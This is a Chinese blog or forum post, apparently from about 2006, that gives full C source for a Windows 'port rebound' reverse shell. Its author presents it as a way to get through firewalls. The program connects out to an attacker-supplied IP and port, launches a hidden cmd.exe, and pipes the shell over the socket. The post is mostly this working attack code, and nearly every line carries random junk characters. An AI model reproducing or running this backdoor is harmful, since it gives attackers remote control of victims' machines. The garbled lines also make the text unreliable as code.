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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xXJzE|)1h!  
Z/:W.*u  
/* ============================== ;KG}Yr72  
Rebound port in Windows NT "9Br )3  
By wind,2006/7 YB4|J44Y  
===============================*/ Kr`.q:0GK  
#include ca[*#xiJ  
#include VeH%E.:  
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#pragma comment(lib,"wsock32.lib") W k"_lJ  
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void OutputShell(); V'9OGn2v  
SOCKET sClient; slLTZ]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xscR Bx  
I]~s{I(EK  
void main(int argc,char **argv) ncpA\E;ff^  
{ T,B%iZgCh  
WSADATA stWsaData; QRF:6bAxsL  
int nRet; #nKGU"$+  
SOCKADDR_IN stSaiClient,stSaiServer; 5U*${  
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if(argc != 3) Y"dTm;&  
{ k1LbWR1%wB  
printf("Useage:\n\rRebound DestIP DestPort\n"); hJX;/~L  
return; % QaWg2Y=  
} R^.c  
/q!_f!<q4x  
WSAStartup(MAKEWORD(2,2),&stWsaData); EPM(hxCIQ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); buHUBn[3)  
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stSaiClient.sin_family = AF_INET; UaHN*@  
stSaiClient.sin_port = htons(0); W7 +Q&4Y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z#K0a'  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _HAr0R8BY  
{ ke'OT>8  
printf("Bind Socket Failed!\n"); }-&#vP~I  
return; ^SS9BQ*m  
} $:?=A5ttuo  
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stSaiServer.sin_family = AF_INET; t'C9;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N9z!-y'X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K81&BVx/  
+ Cq&~<B  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eqpnh^0}d  
{ iT1HbAT]  
printf("Connect Error!"); w h^I|D?"  
return; UQtG<W]<  
} myB!\ WY   
OutputShell(); vY,]f^F"  
} Tn$| Xa+:s  
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void OutputShell() k7z{q/]M  
{ 4Q\~l(  
char szBuff[1024]; n>%TIoY  
SECURITY_ATTRIBUTES stSecurityAttributes; >~&7D`O  
OSVERSIONINFO stOsversionInfo; Bv`3T Af2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *yW9-(  
STARTUPINFO stStartupInfo; +R31YR8C0  
char *szShell; ZaFqGcS~  
PROCESS_INFORMATION stProcessInformation; _3gF~qr  
unsigned long lBytesRead; dW#l3_'3T  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HGW;]8xl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >JN[5aus  
stSecurityAttributes.lpSecurityDescriptor = 0; M5S<N_+Pe  
stSecurityAttributes.bInheritHandle = TRUE; ?QzN\f Y;  
~ o5h}OU"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =}W)%Hldr.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ralU9MN.  
hPUYq7B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \0l"9 B.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3<6P^p=I  
stStartupInfo.wShowWindow = SW_HIDE; (' i_Xe  
stStartupInfo.hStdInput = hReadPipe; n\YWWW[wf  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;] #Q!  
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GetVersionEx(&stOsversionInfo); ~|e H8@o  
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switch(stOsversionInfo.dwPlatformId) Zg!E}B:z  
{ 55`cNZ  
case 1: v=+>ids  
szShell = "command.com"; *\[GfTL  
break; \JZ'^P$Q  
default: [m]O^Hp{{  
szShell = "cmd.exe"; [zl"G^z  
break; O[&G6+  
} p2Fi(BW*q  
q.RW_t~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C6,W7M[c  
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send(sClient,szMsg,77,0); 79MB_Is]s  
while(1) 7ZgFCK,8m,  
{ z^9df(  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $qhVow5~  
if(lBytesRead) FDRpK 5cw  
{ #'kVW{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YCB=RT]&`  
send(sClient,szBuff,lBytesRead,0); 6.GIUM%D  
} 5,W DmhJ  
else wB0ONH[  
{ ed7Hz#Qc  
lBytesRead=recv(sClient,szBuff,1024,0); qL68/7:A  
if(lBytesRead<=0) break; N/ mC,7Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A*hc w  
} {-\VX2:;[9  
} 2<5s0GT'/  
T WgI-xB  
return; "@E(}z'sM  
}
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